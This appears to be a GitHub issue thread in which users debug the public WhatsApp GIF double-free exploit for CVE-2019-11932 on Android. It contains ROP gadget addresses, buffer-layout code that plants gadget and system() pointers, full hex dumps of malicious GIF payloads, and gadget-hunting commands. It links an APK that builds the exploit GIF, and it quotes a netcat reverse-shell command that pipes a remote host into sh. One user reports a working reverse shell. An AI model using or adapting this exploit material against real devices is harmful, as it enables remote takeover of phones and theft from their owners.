Reproduce

[0x454447415244]

Hello, I got ROP gadget at address 0x00159b80 0x00159b80: ldr x8, [x19, #0x18]; add x0, x19, #0x20; blr x8;

I added this address to the base address of libhwui.so (0x7710ddd000). I also got the system address and changed these in the code, but the exploit is not working. Process gets segfault and doesn't connect to my netcat listener. I'm testing on Android 9.

Any idea?

[awakened1712]

You can visit /proc/[pid]/maps, and see if the gadget address belongs to libhwui.so. Take note that the address must be divisible by 4, and it must fall into a r-x (executable) region.

Also you can try to see the logcat for the crashlog to see what is wrong. Btw do you mind uploading your libhwui.so here? I can have quick look.

[0x454447415244]

Executable region: 7710ddd000-7711592000 r-xp 00000000 103:11 3558 /system/lib64/libhwui.so

Gadget is at address 0x0000000000159b80 (got it with ROPgadget tool) . Adding it to the base address, you get 0x7710f36b80 which is in the correct range. I uploaded my libhwui.so (https://www.dropbox.com/s/rszjep2ucci67yn/libhwui.so?dl=0).

Thanks.

[awakened1712]

I checked. The gadget is fine. What did you see in the logcat when WhatsApp crashed?

Also, did you check if PC register was controlled before proceeding to the exploitation. You can comment out the below lines to double-check if you could control the PC register.

    size_t g1_loc = 0x7cb81f0954;  <<-- replace this
    memcpy(buffer + 128, &g1_loc, 8);

    size_t system_loc = 0x7cb602ce84; <<-- replace this
    memcpy(buffer + 24, &system_loc, 8);

If it works right, you will see PC = 0xdeadbeeefffffffc in the crashlog in the logcat:

--------- beginning of crash
10-02 11:09:38.460 17928 18059 F libc    : Fatal signal 6 (SIGABRT), code -6 in tid 18059 (image-loader), pid 17928 (com.whatsapp)
10-02 11:09:38.467  1027  1027 D QCOM PowerHAL: LAUNCH HINT: OFF
10-02 11:09:38.494 18071 18071 I crash_dump64: obtaining output fd from tombstoned, type: kDebuggerdTombstone
10-02 11:09:38.495  1127  1127 I /system/bin/tombstoned: received crash request for pid 17928
10-02 11:09:38.497 18071 18071 I crash_dump64: performing dump of process 17928 (target tid = 18059)
10-02 11:09:38.497 18071 18071 F DEBUG   : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
10-02 11:09:38.497 18071 18071 F DEBUG   : Build fingerprint: 'google/taimen/taimen:8.1.0/OPM1.171019.011/4448085:user/release-keys'
10-02 11:09:38.497 18071 18071 F DEBUG   : Revision: 'rev_10'
10-02 11:09:38.497 18071 18071 F DEBUG   : ABI: 'arm64'
10-02 11:09:38.497 18071 18071 F DEBUG   : pid: 17928, tid: 18059, name: image-loader  >>> com.whatsapp <<<
10-02 11:09:38.497 18071 18071 F DEBUG   : signal 6 (SIGABRT), code -6 (SI_TKILL), fault addr --------
10-02 11:09:38.497 18071 18071 F DEBUG   :     x0   0000000000000000  x1   000000000000468b  x2   0000000000000006  x3   0000000000000008
10-02 11:09:38.497 18071 18071 F DEBUG   :     x4   0000000000000000  x5   0000000000000000  x6   0000000000000000  x7   7f7f7f7f7f7f7f7f
10-02 11:09:38.497 18071 18071 F DEBUG   :     x8   0000000000000083  x9   0000000010000000  x10  0000007da3c81cc0  x11  0000000000000001
10-02 11:09:38.497 18071 18071 F DEBUG   :     x12  0000007da3c81be8  x13  ffffffffffffffff  x14  ff00000000000000  x15  ffffffffffffffff
10-02 11:09:38.497 18071 18071 F DEBUG   :     x16  00000055b111efa8  x17  0000007e2bb3452c  x18  0000007d8ba9bad8  x19  0000000000004608
10-02 11:09:38.497 18071 18071 F DEBUG   :     x20  000000000000468b  x21  0000000000000083  x22  0000007da3c81e48  x23  00000055b111f3f0
10-02 11:09:38.497 18071 18071 F DEBUG   :     x24  0000000000000040  x25  0000007d8bbff588  x26  00000055b1120670  x27  000000000000000b
10-02 11:09:38.497 18071 18071 F DEBUG   :     x28  00000055b111f010  x29  0000007da3c81d00  x30  0000007e2bae9760
10-02 11:09:38.497 18071 18071 F DEBUG   :     sp   0000007da3c81cc0  pc   0000007e2bae9788  pstate 0000000060000000
10-02 11:09:38.499 18071 18071 F DEBUG   :
10-02 11:09:38.499 18071 18071 F DEBUG   : backtrace:
10-02 11:09:38.499 18071 18071 F DEBUG   :     #00 pc 000000000001d788  /system/lib64/libc.so (abort+120)
10-02 11:09:38.499 18071 18071 F DEBUG   :     #01 pc 0000000000002fac  /system/bin/app_process64 (art::SignalChain::Handler(int, siginfo*, void*)+1012)
10-02 11:09:38.499 18071 18071 F DEBUG   :     #02 pc 00000000000004ec  [vdso:0000007e2e4b0000]
10-02 11:09:38.499 18071 18071 F DEBUG   :     #03 pc deadbeeefffffffc  <unknown>

[0x454447415244]

This is my logcat:

10-12 01:53:10.637 13411 13552 F libc    : Fatal signal 6 (SIGABRT), code -6 (SI_TKILL) in tid 13552 (image-loader), pid 13411 (com.whatsapp)
10-12 01:53:10.665  3745  3745 E audit   : type=1400 audit(1570834390.649:26326): avc:  denied  { noatsecure } for  pid=13559 comm="crash_dump64" scontext=u:r:untrusted_app:s0:c176,c256,c512,c768 tcontext=u:r:crash_dump:s0:c176,c256,c512,c768 tclass=process permissive=0 SEPF_SM-A205F_9_0002 audit_filtered
10-12 01:53:10.665  3745  3745 E audit   : type=1300 audit(1570834390.649:26326): arch=c00000b7 syscall=221 success=yes exit=0 a0=730e03877a a1=730e078d30 a2=0 a3=730e078e70 items=0 ppid=13411 pid=13559 auid=4294967295 uid=10176 gid=10176 euid=10176 suid=10176 fsuid=10176 egid=10176 sgid=10176 fsgid=10176 tty=(none) ses=4294967295 comm="crash_dump64" exe="/system/bin/crash_dump64" subj=u:r:crash_dump:s0:c176,c256,c512,c768 key=(null)
10-12 01:53:10.665  3745  3745 E audit   : type=1327 audit(1570834390.649:26326): proctitle=63726173685F64756D7036340031333535320031333535380031
10-12 01:53:10.749 13560 13560 F DEBUG   : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
10-12 01:53:10.749 13560 13560 F DEBUG   : Build fingerprint: 'samsung/a20dd/a20:9/PPR1.180610.011/A205FXXU1ASE4:user/release-keys'
10-12 01:53:10.749 13560 13560 F DEBUG   : Revision: '3'
10-12 01:53:10.749 13560 13560 F DEBUG   : ABI: 'arm64'
10-12 01:53:10.749 13560 13560 F DEBUG   : pid: 13411, tid: 13552, name: image-loader  >>> com.whatsapp <<<
10-12 01:53:10.749 13560 13560 F DEBUG   : signal 6 (SIGABRT), code -6 (SI_TKILL), fault addr --------
10-12 01:53:10.749 13560 13560 F DEBUG   :     x0  0000000000000000  x1  00000000000034f0  x2  0000000000000006  x3  0000000000000008
10-12 01:53:10.749 13560 13560 F DEBUG   :     x4  3d2d2c2000000000  x5  3d2d2c2000000000  x6  3d2d2c2000000000  x7  00000000202c2d3d
10-12 01:53:10.749 13560 13560 F DEBUG   :     x8  0000000000000083  x9  4b578a6c262bb9e9  x10 0000000000000000  x11 fffffffc7ffffbdf
10-12 01:53:10.749 13560 13560 F DEBUG   :     x12 0000000000000001  x13 0000000000000000  x14 ffffffffff000000  x15 3d2d2c2000000000
10-12 01:53:10.749 13560 13560 F DEBUG   :     x16 0000007309231298  x17 0000007309170740  x18 0000000000000001  x19 0000000000003463
10-12 01:53:10.749 13560 13560 F DEBUG   :     x20 00000000000034f0  x21 0000000018000000  x22 000000728148ae48  x23 000000653db27550
10-12 01:53:10.749 13560 13560 F DEBUG   :     x24 0000000000000040  x25 0000007267501588  x26 000000653db28820  x27 000000000000000b
10-12 01:53:10.749 13560 13560 F DEBUG   :     x28 000000653db27170  x29 000000728148ad00
10-12 01:53:10.750 13560 13560 F DEBUG   :     sp  000000728148acc0  lr  0000007309163f44  pc  0000007309163f6c
10-12 01:53:10.853 13560 13560 F DEBUG   : 
10-12 01:53:10.853 13560 13560 F DEBUG   : backtrace:
10-12 01:53:10.853 13560 13560 F DEBUG   :     #00 pc 0000000000021f6c  /system/lib64/libc.so (abort+116)
10-12 01:53:10.853 13560 13560 F DEBUG   :     #01 pc 000000000000d0ec  /system/bin/app_process64 (art::SignalChain::Handler(int, siginfo*, void*)+1076)
10-12 01:53:10.853 13560 13560 F DEBUG   :     #02 pc 000000000000068c  [vdso:000000730e08e000]
10-12 01:53:10.853 13560 13560 F DEBUG   :     #03 pc deadbeef00000000  <unknown>
...

[awakened1712]

PC was controlled. Then everything seems right to me

#00 pc 0000000000021f6c /system/lib64/libc.so (abort+116)
#1 pc 000000000000d0ec /system/bin/app_process64 (art::SignalChain::Handler(int, siginfo*, void*)+1076)
#2 pc 000000000000068c [vdso:000000730e08e000]
#03 pc deadbeef00000000                          <<================ deadbeef

I think you may try to change the command to

touch /sdcard/test.txt

and see if test.txt is created onto the sdcard

[0x454447415244]

I put the address of gadget 1 as 0x730A639B80, but I'm getting 0x00000000001baba8:

10-12 02:08:17.562 14196 14196 F DEBUG   : backtrace:
10-12 02:08:17.562 14196 14196 F DEBUG   :     #00 pc 0000000000021f6c  /system/lib64/libc.so (abort+116)
10-12 02:08:17.562 14196 14196 F DEBUG   :     #01 pc 000000000000d0ec  /system/bin/app_process64 (art::SignalChain::Handler(int, siginfo*, void*)+1076)
10-12 02:08:17.562 14196 14196 F DEBUG   :     #02 pc 000000000000068c  [vdso:000000730e08e000]
10-12 02:08:17.562 14196 14196 F DEBUG   :     #03 pc 00000000001baba8  /system/lib64/libhwui.so (SkColorSpaceXform_XYZ::SkColorSpaceXform_XYZ(SkColorSpace_XYZ*, SkColorSpace_XYZ*, SkTransferFunctionBehavior)+1464)

Btw, address is different because base address has changed since I restarted the phone.

[awakened1712]

I suspect that you find gadget in a libhwui.so that is different from the one on the phone. Can you

adb pull /system/lib64/libhwui.so

and check if 0x1baba8 is the address of your gadget in libhwui.so

[0x454447415244]

This is weird. The libhwui.so I sent you is the same one that I got from the phone. I will check again.

[0x454447415244]

ROPgadget --binary libhwui.so | grep 'ldr x8, \[x19, #0x18\] ; add x0, x19, #0x20 ; blr x8'
0x0000000000159b70 : adrp x21, #0x858000 ; ldr x21, [x21, #0xb28] ; ldrb w8, [x21] ; tbnz w8, #3, #0x159c00 ; ldr x8, [x19, #0x18] ; add x0, x19, #0x20 ; blr x8
0x0000000000159b68 : ldarb w8, [x20] ; tbz w8, #0, #0x159c00 ; adrp x21, #0x858000 ; ldr x21, [x21, #0xb28] ; ldrb w8, [x21] ; tbnz w8, #3, #0x159c08 ; ldr x8, [x19, #0x18] ; add x0, x19, #0x20 ; blr x8
0x0000000000159b64 : ldr x20, [x20, #0xb20] ; ldarb w8, [x20] ; tbz w8, #0, #0x159c04 ; adrp x21, #0x858000 ; ldr x21, [x21, #0xb28] ; ldrb w8, [x21] ; tbnz w8, #3, #0x159c0c ; ldr x8, [x19, #0x18] ; add x0, x19, #0x20 ; blr x8
0x0000000000159b74 : ldr x21, [x21, #0xb28] ; ldrb w8, [x21] ; tbnz w8, #3, #0x159bfc ; ldr x8, [x19, #0x18] ; add x0, x19, #0x20 ; blr x8
0x0000000000159b80 : ldr x8, [x19, #0x18] ; add x0, x19, #0x20 ; blr x8
0x0000000000159b78 : ldrb w8, [x21] ; tbnz w8, #3, #0x159bf8 ; ldr x8, [x19, #0x18] ; add x0, x19, #0x20 ; blr x8
0x0000000000159b7c : tbnz w8, #3, #0x159bf4 ; ldr x8, [x19, #0x18] ; add x0, x19, #0x20 ; blr x8
0x0000000000159b6c : tbz w8, #0, #0x159bfc ; adrp x21, #0x858000 ; ldr x21, [x21, #0xb28] ; ldrb w8, [x21] ; tbnz w8, #3, #0x159c04 ; ldr x8, [x19, #0x18] ; add x0, x19, #0x20 ; blr x8

The gadget is clearly at 0x0000000000159b80

wuid=$(ps -ef | grep whatsapp | head -n 1 | awk '{print $2}'); cat /proc/$wuid/maps | grep libhwui.so
730a4e0000-730ac95000 r-xp 00000000 103:11 3558                          /system/lib64/libhwui.so
730aca5000-730acdf000 r--p 007b6000 103:11 3558                          /system/lib64/libhwui.so
730acdf000-730ace5000 rw-p 007f0000 103:11 3558                          /system/lib64/libhwui.so

730a4e0000 + 159b80 = 730A639B80 <= What I'm using

[awakened1712]

This is really weird to me, how did you get system() address?

[0x454447415244]

I can get it in two ways, either by running nm, getting the address then adding it to base address of libc.so:

$ nm -D libc.so  | grep system
000000000006f354 T system
0000000000031108 W __system_properties_init
0000000000031268 W __system_property_add
...

Or by running a remote GDB session, attaching to remote process and then doing:

p system

[awakened1712]

I wrote a simple app to find gadget directly on the phone and generate the gif file on the phone. https://github.com/awakened1712/CVE-2019-11932/blob/master/app-debug.apk Source code is at https://github.com/awakened1712/CVE-2019-11932/tree/master/MyApplication2

You can install it with

adb install -t app-debug.apk

If it finds the gadget, you'll see the below lines in the logcat

E/libgif: gadget = 68 0E 40 F9 60 82 00 91 00 01 3F D6  size = 12 found in 
    7474bc1000-747537f000 r-xp 00000000 103:02 185488                        /system/lib64/libhwui.so
    g1_loc = 0x7474cb9d04
    system_loc = 0x74714707e0
    == genLine_0 complete ==
    buffer = 0x7ff6157020 size = 266
    47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC 
    FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00 
    00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08 
    9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 00 00 00 00 E0 0E 1C 89 
    43 07 00 00 00 74 DE D4 19 83 06 C4 8B 39 64 C6 
    84 91 43 E6 05 9D 32 73 E8 B8 A0 83 87 0E 00 00 
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
    00 04 3A 2D A3 43 07 00 00 00 EE FF FF 2C 00 00 
    00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00 
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 
    18 00 0A 00 0F 00 01 00 00 3B 
I/ExternalStorage: Scanned /storage/emulated/0/exploit.gif -> uri = content://media/external/images/media/9997

[0x454447415244]

Your code works. It gives that the gadget is at location 0x0f8b80. I tested it and got reverse shell connecting back (it connects and directly disconnects for some reasons...).

But why do you think Ropgadget gave me a wrong address (0x159b80) ? Could it be a bug? In fact, I previously examined the location it gave me with gdb and showed something else but I trusted it anyway... What do you usually use to search for ROP gadgets on ARM?

[awakened1712]

Strange, I used ROPgadget too when I was developing the exploit. I had no problem. If it does not work for you, you can try to manually disassemble the binary and search for gadgets by yourself with regular expression. For example:

arm-linux-gnueabi-objdump -Mforce-thumb -d '/home/notroot/libc.so' > libc.thumb.txt
arm-linux-gnueabi-objdump -marm -b binary -d '/home/notroot/libc.so' > libc.arm.txt
cat arm.txt | grep -E "pop.*{.*pc.*}" -B 2
cat arm.txt | grep -E "pop.*{.*pc.*}" -B 2 | grep -E ".*sp, .*" -A1 -B1
cat thumb.txt | grep -E "pop.*{.*pc.*}" -B 2  | grep -E ".*sp, .*" -A1 -B1

[0x454447415244]

I removed by previous comment, I just didn't notice the 0x is missing in #24. Did you try to search with Ropgadget?

[awakened1712]

I removed by previous comment, I just didn't notice the 0x is missing in #24. Did you try to search with Ropgadget?

I remember that I did. Probably I just didn't look at the address. Because once I found a suitable gadget, I will just look up for the gadget in IDA Pro to confirm it's in the text section.

[0x454447415244]

I'm going to investigate why RopGadget is giving me wrong address for the gadget. Meanwhile, what Android system image you used in your video (while testing on the simulator) ?

[awakened1712]

It was on a real Pixel 2XL. I used an app to cast the screen onto the desktop.

[Miy1z1ki]

You can visit /proc/[pid]/maps, and see if the gadget address belongs to libhwui.so. Take note that the address must be divisible by 4, and it must fall into a r-x (executable) region.

Also you can try to see the logcat for the crashlog to see what is wrong. Btw do you mind uploading your libhwui.so here? I can have quick look.

why the address must be divisible by 4 ?

[isabellah750]

How do i find the address of the gadget and system?

[ckqweo]

I downloaded the apk file. The application gives the correct system() and gadget address and creates a gif. But I listen to netcat 4444 port, but nothing happens.

What else am I supposed to do?

Do I need to replace the code in the application with the IP address of my own computer? char *command = "toybox nc 192.168.2.72 4444 | sh";

[awakened1712]

Yes you need to, the shell script in the apk provided only writes a file test.txt on the sdcard

[jpclaudino]

Has anyone managed to work on 32 bit architecture?

I have a device (Samsung SM-J810M) that has 64 bit processor, but Android 9 - 32 bit.

I've already verified that the getInfo structure has 112 bytes, also found gadget 0x00146138: ldr r2, [r0, # 0x14]; adds r0, # 0x18; blx r2 in libhwui.so, which apparently would work.

The gif I'm producing has the same structure as the example not_kitty.double-fre.armv7.gif, with 212 bytes and 4 frames.

47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC 
FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00 
00 00 00 00 00 2C 00 00 00 00 08 00 0E 00 00 08 
66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 D0 6E 18 A8 79 74 DE D4 19 
83 06 C4 8B 39 64 C6 84 91 43 E6 05 16 2C 58 5C 
D0 C1 43 07 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 
23 4C 3A 79 EE FF FF 2C 00 00 00 00 1C 0F 00 00 
00 00 2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 2C 00 00 00 00 18 00 0A 00 0F 00 
01 00 00 3B 

However, the PC is not jumping to the gadget region. Not even with the not_kitty.double-fre.armv7.gif gif:

Following is the crash dump:

11-08 17:16:14.922 28440 28440 F DEBUG : backtrace: 11-08 17:16:14.922 28440 28440 F DEBUG : #00 pc 00004aae /data/app/com.whatsapp-pQoNERqdORzWbdABrRJmaA==/lib/arm/libpl_droidsonroids_gif.so (Java_pl_droidsonroids_gif_GifInfoHandle_getWidth+8) 11-08 17:16:14.922 28440 28440 F DEBUG : #01 pc 003df567 /data/app/com.whatsapp-pQoNERqdORzWbdABrRJmaA==/oat/arm/base.odex (offset 0x3df000) (com.facebook.imagepipeline.memory.NativeMemoryChunk.nativeReadByte [DEDUPED]+102) 11-08 17:16:14.922 28440 28440 F DEBUG : #02 pc 00410175 /system/lib/libart.so (art_quick_invoke_stub_internal+68) 11-08 17:16:14.922 28440 28440 F DEBUG : #03 pc 003e98ab /system/lib/libart.so (art_quick_invoke_static_stub+222) 11-08 17:16:14.922 28440 28440 F DEBUG : #04 pc 000a164f /system/lib/libart.so (art::ArtMethod::Invoke(art::Thread, unsigned int, unsigned int, art::JValue, char const)+154) 11-08 17:16:14.922 28440 28440 F DEBUG : #05 pc 001e6a11 /system/lib/libart.so (art::interpreter::ArtInterpreterToCompiledCodeBridge(art::Thread, art::ArtMethod, art::ShadowFrame, unsigned short, art::JValue)+236) 11-08 17:16:14.923 28440 28440 F DEBUG : #06 pc 001e14ff /system/lib/libart.so (bool art::interpreter::DoCall<false, false>(art::ArtMethod, art::Thread, art::ShadowFrame&, art::Instruction const, unsigned short, art::JValue)+814) 11-08 17:16:14.923 28440 28440 F DEBUG : #07 pc 003e53df /system/lib/libart.so (MterpInvokeStatic+130) 11-08 17:16:14.923 28440 28440 F DEBUG : #08 pc 00403094 /system/lib/libart.so (ExecuteMterpImpl+14612) 11-08 17:16:14.923 28440 28440 F DEBUG : #09 pc 0070573a /data/app/com.whatsapp-pQoNERqdORzWbdABrRJmaA==/oat/arm/base.vdex (pl.droidsonroids.gif.GifInfoHandle.j+6) 11-08 17:16:14.923 28440 28440 F DEBUG : #10 pc 001c5c7b /system/lib/libart.so ... 11-08 17:16:14.925 28440 28440 F DEBUG : #48 pc 0001e1dd /system/lib/libc.so (__start_thread+24)

Anyone have any idea what is going on? Could it be due to the device being 64 bit with Android 32?

[awakened1712]

Probably you are on an older Android device. The exploit only works from Android 8.1 and above. Edit: I missed the line saying you were on Android 9. If you are on Android 9 and WhatsApp 2.9.230 and below, it should work even if you are running 32-bit version. I tried before actually and it worked for me.

[asad0x01]

I wrote a simple app to find gadget directly on the phone and generate the gif file on the phone. https://github.com/awakened1712/CVE-2019-11932/blob/master/app-debug.apk Source code is at https://github.com/awakened1712/CVE-2019-11932/tree/master/MyApplication2

You can install it with

adb install -t app-debug.apk

If it finds the gadget, you'll see the below lines in the logcat

E/libgif: gadget = 68 0E 40 F9 60 82 00 91 00 01 3F D6  size = 12 found in 
    7474bc1000-747537f000 r-xp 00000000 103:02 185488                        /system/lib64/libhwui.so
    g1_loc = 0x7474cb9d04
    system_loc = 0x74714707e0
    == genLine_0 complete ==
    buffer = 0x7ff6157020 size = 266
    47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC 
    FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00 
    00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08 
    9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 00 00 00 00 E0 0E 1C 89 
    43 07 00 00 00 74 DE D4 19 83 06 C4 8B 39 64 C6 
    84 91 43 E6 05 9D 32 73 E8 B8 A0 83 87 0E 00 00 
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
    00 04 3A 2D A3 43 07 00 00 00 EE FF FF 2C 00 00 
    00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00 
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 
    18 00 0A 00 0F 00 01 00 00 3B 
I/ExternalStorage: Scanned /storage/emulated/0/exploit.gif -> uri = content://media/external/images/media/9997

The apk seems to be not available.Can you please reupload?

[jpclaudino]

Probably you are on an older Android device. The exploit only works from Android 8.1 and above. Edit: I missed the line saying you were on Android 9. If you are on Android 9 and WhatsApp 2.9.230 and below, it should work even if you are running 32-bit version. I tried before actually and it worked for me.

I believe there is a race condition problem. I created an APK to test if the DDGifSlurp function was actually calling Rewind.

Code ex: for(int i=0;i<100;i++){ GifDrawable gifFromPath = new GifDrawable( "/sdcard/exploit.gif"); }

I was able to call system and run code on a Motorola 1952-2.

But with WhatsApp it is not possible.

Interesting that I've teste on many Android 9.0 32-bit devices: Motorola 1952-2 Samsung SM-J610G Samsug SM-J810 Samsung SM-J510MN

The GIF is correct, but I think there is a race condition or maybe malloc implementation varies from device to device.

[awakened1712]

Probably you are on an older Android device. The exploit only works from Android 8.1 and above. Edit: I missed the line saying you were on Android 9. If you are on Android 9 and WhatsApp 2.9.230 and below, it should work even if you are running 32-bit version. I tried before actually and it worked for me.

I believe there is a race condition problem. I created an APK to test if the DDGifSlurp function was actually calling Rewind.

Code ex: for(int i=0;i<100;i++){ GifDrawable gifFromPath = new GifDrawable( "/sdcard/exploit.gif"); }

I was able to call system and run code on a Motorola 1952-2.

But with WhatsApp it is not possible.

Interesting that I've teste on many Android 9.0 32-bit devices: Motorola 1952-2 Samsung SM-J610G Samsug SM-J810 Samsung SM-J510MN

The GIF is correct, but I think there is a race condition or maybe malloc implementation varies from device to device.

So which device did the exploit fail?

[jpclaudino]

Probably you are on an older Android device. The exploit only works from Android 8.1 and above. Edit: I missed the line saying you were on Android 9. If you are on Android 9 and WhatsApp 2.9.230 and below, it should work even if you are running 32-bit version. I tried before actually and it worked for me.

I believe there is a race condition problem. I created an APK to test if the DDGifSlurp function was actually calling Rewind. Code ex: for(int i=0;i<100;i++){ GifDrawable gifFromPath = new GifDrawable( "/sdcard/exploit.gif"); } I was able to call system and run code on a Motorola 1952-2. But with WhatsApp it is not possible. Interesting that I've teste on many Android 9.0 32-bit devices: Motorola 1952-2 Samsung SM-J610G Samsug SM-J810 Samsung SM-J510MN The GIF is correct, but I think there is a race condition or maybe malloc implementation varies from device to device.

So which device did the exploit fail?

All failed with WhatsApp. With the Motorola 1952-2 I was able to exploit the vulnerability with an APK that simply calls the libpl_droidsonroids_gif library repeatedly. But with WhatsApp all failed. I believe there is some race condition. Some service calling malloc with the size of struct GifInfo. This problem may not occur on 64-bit systems.